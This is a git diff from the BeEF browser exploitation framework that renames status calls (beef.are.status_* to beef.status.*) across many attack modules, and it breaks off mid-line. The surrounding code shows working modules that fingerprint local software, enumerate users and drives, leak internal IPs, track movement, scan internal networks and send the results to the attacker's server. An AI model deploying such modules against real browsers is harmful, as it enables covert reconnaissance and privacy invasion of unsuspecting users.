index 182b889d6..f72acf8cb 100644
--- a/modules/host/detect_airdroid/command.js
+++ b/modules/host/detect_airdroid/command.js
@@ -12,11 +12,11 @@ beef.execute(function() {
img.src = "http://<%= @ipHost %>:<%= @port %>/theme/stock/images/ip_auth_refused.png";
img.onload = function() {
if (this.width == 146 && this.height == 176) result = "Installed";
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.status.success());
dom.removeChild(this);
}
img.onerror = function() {
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&airdroid='+result, beef.status.error());
dom.removeChild(this);
}
dom.appendChild(img);
diff --git a/modules/host/detect_coupon_printer/command.js b/modules/host/detect_coupon_printer/command.js
index 497ec5b1a..b346f4007 100644
--- a/modules/host/detect_coupon_printer/command.js
+++ b/modules/host/detect_coupon_printer/command.js
@@ -8,7 +8,7 @@ beef.execute(function() {
if (!beef.browser.hasWebSocket()) {
beef.debug('[Detect Coupon Printer] Error: browser does not support WebSockets');
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=unsupported browser", beef.status.error());
}
//var url = 'ws://127.0.0.1:2687';
@@ -33,7 +33,7 @@ beef.execute(function() {
socket.onerror = function(error) {
beef.debug('[Detect Coupon Printer] WebSocket Error: ' + JSON.stringify(error));
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=could not detect coupon printer", beef.status.error());
};
socket.onclose = function(event) {
@@ -46,13 +46,13 @@ beef.execute(function() {
var result = JSON.parse(event.data);
if (result['GetVersion']) {
beef.debug('[Detect Coupon Printer] Version: ' + result['GetVersion']);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetVersion=" + result['GetVersion'], beef.status.success());
} else if (result['GetDeviceID']) {
beef.debug('[Detect Coupon Printer] Device ID: ' + result['GetDeviceID']);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "GetDeviceID=" + result['GetDeviceID'], beef.status.success());
} else if (result['CheckPrinter']) {
beef.debug('[Detect Coupon Printer] Printer: ' + result['CheckPrinter']);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "CheckPrinter=" + result['CheckPrinter'], beef.status.success());
}
} catch(e) {
beef.debug('Could not parse WebSocket response JSON: ' + event.data);
diff --git a/modules/host/detect_cups/command.js b/modules/host/detect_cups/command.js
index f1707124a..e69959566 100644
--- a/modules/host/detect_cups/command.js
+++ b/modules/host/detect_cups/command.js
@@ -12,11 +12,11 @@ beef.execute(function() {
img.src = "http://<%= @ipHost %>:<%= @port %>/images/cups-icon.png";
img.onload = function() {
if (this.width == 128 && this.height == 128) result="Installed";
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.status.success());
dom.removeChild(this);
}
img.onerror = function() {
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'proto=http&ip=<%= @ipHost %>&port=<%= @port %>&cups='+result, beef.status.error());
dom.removeChild(this);
}
dom.appendChild(img);
diff --git a/modules/host/detect_google_desktop/command.js b/modules/host/detect_google_desktop/command.js
index 3f1d7e0fd..f8ca25582 100644
--- a/modules/host/detect_google_desktop/command.js
+++ b/modules/host/detect_google_desktop/command.js
@@ -9,8 +9,8 @@ beef.execute(function() {
var dom = document.createElement('b');
var img = new Image;
img.src = "http://127.0.0.1:4664/logo3.gif";
- img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.are.status_success());dom.removeChild(this); }
- img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.are.status_error());dom.removeChild(this); }
+ img.onload = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Installed', beef.status.success());dom.removeChild(this); }
+ img.onerror = function() { beef.net.send('<%= @command_url %>', <%= @command_id %>,'google_desktop=Not Installed', beef.status.error());dom.removeChild(this); }
dom.appendChild(img);
});
diff --git a/modules/host/detect_local_drives/command.js b/modules/host/detect_local_drives/command.js
index fc041a309..a5fa598fa 100644
--- a/modules/host/detect_local_drives/command.js
+++ b/modules/host/detect_local_drives/command.js
@@ -8,7 +8,7 @@ beef.execute(function() {
if (!("ActiveXObject" in window)) {
beef.debug('[Detect Users] Unspported browser');
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error());
return false;
}
@@ -32,7 +32,7 @@ beef.execute(function() {
var result = detect_drive(drive);
if (result) {
beef.debug('[Detect Local Drives] Found drive: ' + drive);
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found drive: ' + drive, beef.status.success());
}
}
diff --git a/modules/host/detect_software/command.js b/modules/host/detect_software/command.js
index 1e8f78285..cba03f005 100644
--- a/modules/host/detect_software/command.js
+++ b/modules/host/detect_software/command.js
@@ -8,7 +8,7 @@ beef.execute(function() {
if (!("ActiveXObject" in window)) {
beef.debug('[Detect Software] Unspported browser');
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error());
return false;
}
diff --git a/modules/host/detect_users/command.js b/modules/host/detect_users/command.js
index 148c07174..9c3fd2403 100644
--- a/modules/host/detect_users/command.js
+++ b/modules/host/detect_users/command.js
@@ -8,7 +8,7 @@ beef.execute(function() {
if (!("ActiveXObject" in window)) {
beef.debug('[Detect Users] Unspported browser');
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=unsupported browser', beef.status.error());
return false;
}
@@ -43,7 +43,7 @@ beef.execute(function() {
if (home_dir == '') {
beef.debug('[Detect Users] Could not find home directory');
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'fail=could not find home directory', beef.status.error());
return false;
}
@@ -64,7 +64,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
@@ -83,7 +83,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
@@ -96,7 +96,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
}
@@ -110,7 +110,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
}
@@ -124,7 +124,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
}
@@ -138,7 +138,7 @@ beef.execute(function() {
var result = detect_folder(home_dir + user);
if (result) {
beef.debug('[Detect Users] Found user: ' + user);
- beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>,'result=Found user: ' + user, beef.status.success());
}
}
}
diff --git a/modules/host/get_internal_ip_webrtc/command.js b/modules/host/get_internal_ip_webrtc/command.js
index 8a3dfcca1..8514bd289 100755
--- a/modules/host/get_internal_ip_webrtc/command.js
+++ b/modules/host/get_internal_ip_webrtc/command.js
@@ -32,7 +32,7 @@ beef.execute(function() {
};
iceGatherer.onerror = function (e) {
beef.debug("ICE Gatherer Failed");
- beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, "ICE Gatherer Failed", beef.status.error());
};
} else {
// Construct RTC peer connection
@@ -61,15 +61,12 @@ beef.execute(function() {
retResults();
}, function (e) {
beef.debug("SDP Offer Failed");
- beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, "SDP Offer Failed", beef.status.error());
});
};
function retResults(){
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
-
- // This is for the ARE, as this module is async, so we can't just return as we would in a normal sync way
- get_internal_ip_webrtc_mod_output = [beef.are.status_success(), displayAddrs.join(",")];
}
// Return results
@@ -78,7 +75,7 @@ beef.execute(function() {
else addrs[newAddr] = true;
var displayAddrs = Object.keys(addrs).filter(function (k) { return addrs[k]; });
beef.debug("Found IPs: "+ displayAddrs.join(","));
- beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, "IP is " + displayAddrs.join(","), beef.status.success());
}
@@ -99,6 +96,6 @@ beef.execute(function() {
});
}
}else {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, "Browser doesn't appear to support RTCPeerConnection", beef.status.error());
}
});
diff --git a/modules/host/get_system_info_java/command.js b/modules/host/get_system_info_java/command.js
index e12554d25..9b5742dd5 100644
--- a/modules/host/get_system_info_java/command.js
+++ b/modules/host/get_system_info_java/command.js
@@ -20,7 +20,7 @@ beef.execute(function() {
output = document.getSystemInfo.getInfo();
if (output) {
beef.debug('[Get System Info (Java)] Retrieved system info: ' + output);
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"), beef.are.status_success());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info='+output.replace(/\n/g,"
"), beef.status.success());
beef.dom.detachApplet('getSystemInfo');
return;
}
@@ -28,7 +28,7 @@ beef.execute(function() {
internal_counter = internal_counter + 5;
if (internal_counter > timeout) {
beef.debug('[Get System Info (Java)] Timeout after ' + timeout + ' seconds');
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'system_info=Timeout after ' + timeout + ' seconds', beef.status.error());
beef.dom.detachApplet('getSystemInfo');
return;
}
diff --git a/modules/host/physical_location_thirdparty/command.js b/modules/host/physical_location_thirdparty/command.js
index 72c195729..437fa5f40 100644
--- a/modules/host/physical_location_thirdparty/command.js
+++ b/modules/host/physical_location_thirdparty/command.js
@@ -9,12 +9,12 @@ beef.execute(function() {
var timeout = 10000;
if (!beef.browser.hasCors()) {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error());
return;
}
beef.net.cors.request('GET', url, '', timeout, function(response) {
beef.debug("[Get Physical Location (Third-Party] " + response.body);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=" + response.body, beef.status.success());
});
});
diff --git a/modules/misc/track_physical_movement/command.js b/modules/misc/track_physical_movement/command.js
index d11be50fb..b8bb523a7 100644
--- a/modules/misc/track_physical_movement/command.js
+++ b/modules/misc/track_physical_movement/command.js
@@ -11,7 +11,7 @@ beef.execute(function() {
if (!beef.hardware.isMobileDevice()) {
beef.debug(result);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.status.error());
}
var historicMotion = {
@@ -30,7 +30,7 @@ beef.execute(function() {
status = new_status;
beef.debug(new_status);
- beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.are.status_success());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.status.success());
}
function updateStatus() {
diff --git a/modules/misc/wordpress/wp.js b/modules/misc/wordpress/wp.js
index 9226cc526..990fd7d6e 100644
--- a/modules/misc/wordpress/wp.js
+++ b/modules/misc/wordpress/wp.js
@@ -9,8 +9,8 @@
// Also, could have all that in as WP.prototype ?
function log(data, status = null) {
- if (status == 'error') { status = beef.are.status_error(); }
- if (status == 'success') { status = beef.are.status_success(); }
+ if (status == 'error') { status = beef.status.error(); }
+ if (status == 'success') { status = beef.status.success(); }
beef.net.send(beef_command_url, beef_command_id, data, status);
beef.debug(data);
diff --git a/modules/network/cross_origin_scanner_cors/command.js b/modules/network/cross_origin_scanner_cors/command.js
index bb4049f0c..3600453d8 100644
--- a/modules/network/cross_origin_scanner_cors/command.js
+++ b/modules/network/cross_origin_scanner_cors/command.js
@@ -14,7 +14,7 @@ beef.execute(function() {
var wait = parseInt("<%= @wait %>", 10)*1000;
if(!beef.browser.hasCors()) {
- beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());
+ beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.status.error());
return;
}
@@ -48,7 +48,7 @@ beef.execute(function() {
// set target IP range
var range = ipRange.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');
if (range == null || range[1] == null) {
- beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.are.status_error());
+ beef.net.send("<%= @command_url %>", <%= @command_id %>, "fail=malformed IP range supplied", beef.status.error());
return;
}
// ipRange will be in the form of 192.168.0.1-192.168.0.254
@@ -111,7 +111,7 @@ beef.execute(function() {
'if (response != null && response["status"] != 0) {' +
'beef.debug("[Cross-Origin Scanner (CORS)] Received response from '+url+': " + JSON.stringify(response));' +
'var title = response["body"].match("